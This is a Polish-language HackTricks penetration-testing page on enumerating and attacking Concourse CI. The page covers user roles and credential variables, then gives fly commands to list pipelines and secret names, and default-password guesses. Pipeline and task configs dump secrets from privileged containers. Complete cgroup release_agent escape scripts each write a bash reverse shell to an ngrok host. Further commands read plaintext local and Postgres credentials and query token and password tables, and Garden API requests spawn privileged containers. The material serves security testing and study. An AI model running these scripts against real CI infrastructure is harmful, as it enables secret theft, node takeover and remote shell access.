Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Wspieraj HackTricks

Role użytkowników i uprawnienia

Concourse ma pięć ról:

  • Concourse Admin: Ta rola jest przyznawana tylko właścicielom głównego zespołu (domyślny początkowy zespół concourse). Administratorzy mogą konfigurować inne zespoły (np.: fly set-team, fly destroy-team...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC.

  • owner: Właściciele zespołów mogą modyfikować wszystko w zespole.

  • member: Członkowie zespołu mogą czytać i pisać w zasobach zespołu, ale nie mogą modyfikować ustawień zespołu.

  • pipeline-operator: Operatorzy pipeline mogą wykonywać operacje pipeline takie jak uruchamianie buildów i przypinanie zasobów, ale nie mogą aktualizować konfiguracji pipeline.

  • viewer: Widzowie zespołu mają dostęp tylko do odczytu do zespołu i jego pipeline.

Ponadto, uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Przeczytaj więcej na ten temat: https://concourse-ci.org/user-roles.html

Należy zauważyć, że Concourse grupuje pipeline w zespołach. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline, a kilka zespołów może istnieć. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.

Vars & Credential Manager

W konfiguracjach YAML można konfigurować wartości za pomocą składni ((_source-name_:_secret-path_._secret-field_)). Z dokumentacji: source-name jest opcjonalny, a jeśli go nie podano, zostanie użyty menedżer poświadczeń na poziomie klastra, lub wartość może być podana statycznie. Opcjonalny _secret-field_ określa pole w pobranym sekrecie do odczytu. Jeśli go nie podano, menedżer poświadczeń może wybrać odczytanie 'domyślnego pola' z pobranego poświadczenia, jeśli pole istnieje. Ponadto, secret-path i secret-field mogą być otoczone podwójnymi cudzysłowami "..." jeśli zawierają znaki specjalne takie jak . i :. Na przykład, ((source:"my.secret"."field:1")) ustawi secret-path na my.secret i secret-field na field:1.

Static Vars

Statyczne zmienne mogą być określone w krokach zadań:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Albo używając następujących argumentów fly:

  • -v lub --var NAME=VALUE ustawia ciąg VALUE jako wartość dla zmiennej NAME.

  • -y lub --yaml-var NAME=VALUE parsuje VALUE jako YAML i ustawia to jako wartość dla zmiennej NAME.

  • -i lub --instance-var NAME=VALUE parsuje VALUE jako YAML i ustawia to jako wartość dla zmiennej instancji NAME. Zobacz Grouping Pipelines, aby dowiedzieć się więcej o zmiennych instancji.

  • -l lub --load-vars-from FILE ładuje FILE, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie.

Zarządzanie poświadczeniami

Istnieją różne sposoby, w jakie Credential Manager może być określony w pipeline, przeczytaj jak na https://concourse-ci.org/creds.html. Ponadto, Concourse obsługuje różnych menedżerów poświadczeń:

Zauważ, że jeśli masz jakiś rodzaj dostępu do zapisu do Concourse, możesz tworzyć zadania, aby wykraść te sekrety, ponieważ Concourse musi mieć do nich dostęp.

Enumeracja Concourse

Aby przeprowadzić enumerację środowiska Concourse, najpierw musisz zdobyć ważne poświadczenia lub znaleźć uwierzytelniony token, prawdopodobnie w pliku konfiguracyjnym .flyrc.

Logowanie i enumeracja bieżącego użytkownika

  • Aby się zalogować, musisz znać endpoint, nazwę zespołu (domyślnie main) i zespół, do którego należy użytkownik:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Uzyskaj skonfigurowane cele:

  • fly targets

  • Sprawdź, czy skonfigurowane połączenie celu jest nadal ważne:

  • fly -t <target> status

  • Uzyskaj rolę użytkownika w odniesieniu do wskazanego celu:

  • fly -t <target> userinfo

Zauważ, że token API jest zapisany domyślnie w $HOME/.flyrc, przeszukując maszyny, możesz tam znaleźć poświadczenia.

Zespoły i użytkownicy

  • Uzyskaj listę zespołów

  • fly -t <target> teams

  • Uzyskaj role w zespole

  • fly -t <target> get-team -n <team-name>

  • Uzyskaj listę użytkowników

  • fly -t <target> active-users

Pipelines

  • Lista pipelines:

  • fly -t <target> pipelines -a

  • Uzyskaj yaml pipeline (wrażliwe informacje mogą być zawarte w definicji):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Uzyskaj wszystkie zadeklarowane zmienne konfiguracyjne pipeline

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Uzyskaj wszystkie nazwy sekretnych zmiennych używanych w pipelines (jeśli możesz utworzyć/zmodyfikować zadanie lub przejąć kontener, możesz je wykraść):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • Lista workers:

  • fly -t <target> workers

  • Lista containers:

  • fly -t <target> containers

  • Lista builds (aby zobaczyć, co jest uruchomione):

  • fly -t <target> builds

Concourse Attacks

Brute-Force poświadczeń

  • admin:admin

  • test:test

Enumeracja secrets i parametrów

W poprzedniej sekcji widzieliśmy, jak można uzyskać wszystkie nazwy secrets i zmienne używane przez pipeline. Zmienne mogą zawierać wrażliwe informacje, a nazwy secrets będą przydatne później, aby spróbować je ukraść.

Sesja wewnątrz działającego lub niedawno uruchomionego container

Jeśli masz wystarczające uprawnienia (rola member lub wyższa), będziesz mógł wylistować pipelines i role oraz po prostu uzyskać sesję wewnątrz <pipeline>/<job> container używając:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Z tymi uprawnieniami możesz być w stanie:

  • Ukraść sekrety wewnątrz kontenera

  • Spróbować uciec do węzła

  • Przeprowadzić enumerację/nadużycie endpointu metadanych chmury (z poziomu poda i węzła, jeśli to możliwe)

Tworzenie/Modyfikacja Pipeline

Jeśli masz wystarczające uprawnienia (rola członka lub wyższa), będziesz w stanie tworzyć/modyfikować nowe pipeline. Sprawdź ten przykład:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Z modyfikacją/tworzeniem nowego pipeline będziesz w stanie:

  • Ukraść sekrety (poprzez ich wyświetlenie lub wejście do kontenera i uruchomienie env)

  • Uciec na node (dając sobie wystarczające uprawnienia - privileged: true)

  • Przeprowadzić enumerację/nadużycie cloud metadata endpoint (z poziomu poda i z poziomu node)

  • Usunąć utworzony pipeline

Wykonanie niestandardowego zadania

Jest to podobne do poprzedniej metody, ale zamiast modyfikować/tworzyć cały nowy pipeline, możesz po prostu wykonać niestandardowe zadanie (co prawdopodobnie będzie znacznie bardziej ukryte):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Ucieczka do węzła z uprzywilejowanego zadania

W poprzednich sekcjach widzieliśmy, jak wykonać uprzywilejowane zadanie z concourse. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowania w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "złożona".

W poniższym PoC użyjemy release_agent do ucieczki z kilkoma małymi modyfikacjami:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Jak mogłeś zauważyć, jest to tylko regular release_agent escape z modyfikacją ścieżki cmd w nodzie

Ucieczka do noda z kontenera Worker

Regular release_agent escape z drobną modyfikacją jest wystarczający do tego:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Ucieczka do węzła z kontenera Web

Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, nie działa jako zwykły uprzywilejowany kontener (na przykład, nie można montować i możliwości są bardzo ograniczone, więc wszystkie łatwe sposoby ucieczki z kontenera są bezużyteczne).

Jednak przechowuje lokalne poświadczenia w postaci jawnej:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Możesz użyć tych poświadczeń, aby zalogować się do serwera webowego i utworzyć uprzywilejowany kontener i uciec do węzła.

W środowisku możesz również znaleźć informacje do dostępu do instancji postgresql używanej przez concourse (adres, username, password i baza danych oraz inne informacje):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak

To są tylko interesujące uwagi na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały wpływu, którego nie wykorzystaliśmy już wcześniej

Domyślnie każdy worker concourse będzie uruchamiał usługę Garden na porcie 7777. Usługa ta jest używana przez Web mastera do wskazania workerowi co ma wykonać (pobranie obrazu i uruchomienie każdego zadania). Brzmi to całkiem dobrze dla atakującego, ale istnieją pewne zabezpieczenia:

  • Jest ona wystawiona tylko lokalnie (127.0.0.1) i myślę, że gdy worker uwierzytelnia się wobec Web za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł rozmawiać z każdą usługą Garden wewnątrz każdego workera.

  • Serwer webowy monitoruje uruchomione kontenery co kilka sekund, a nieoczekiwane kontenery są usuwane. Więc jeśli chcesz uruchomić niestandardowy kontener, musisz manipulować komunikacją między serwerem webowym a usługą Garden.

Workery concourse działają z wysokimi uprawnieniami kontenerów:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Jednak techniki takie jak montowanie urządzenia /dev węzła lub release_agent nie działają (ponieważ prawdziwe urządzenie z systemem plików węzła nie jest dostępne, tylko wirtualne). Nie możemy uzyskać dostępu do procesów węzła, więc ucieczka z węzła bez exploitów jądra staje się skomplikowana.

W poprzedniej sekcji widzieliśmy, jak uciec z uprzywilejowanego kontenera, więc jeśli możemy wykonać polecenia w uprzywilejowanym kontenerze utworzonym przez obecnego workera, moglibyśmy uciec do węzła.

Zauważ, że podczas zabawy z concourse zauważyłem, że gdy nowy kontener jest uruchamiany, aby coś wykonać, procesy kontenera są dostępne z kontenera workera, więc to tak, jakby kontener tworzył nowy kontener wewnątrz siebie.

Dostanie się do działającego uprzywilejowanego kontenera

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Tworzenie nowego uprzywilejowanego kontenera

Możesz bardzo łatwo utworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Jednakże serwer webowy sprawdza co kilka sekund kontenery, które są uruchomione, i jeśli zostanie wykryty nieoczekiwany, zostanie usunięty. Ponieważ komunikacja odbywa się w HTTP, można manipulować komunikacją, aby uniknąć usunięcia nieoczekiwanych kontenerów:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referencje

  • https://concourse-ci.org/vars.html

Wspieraj HackTricks

Last updated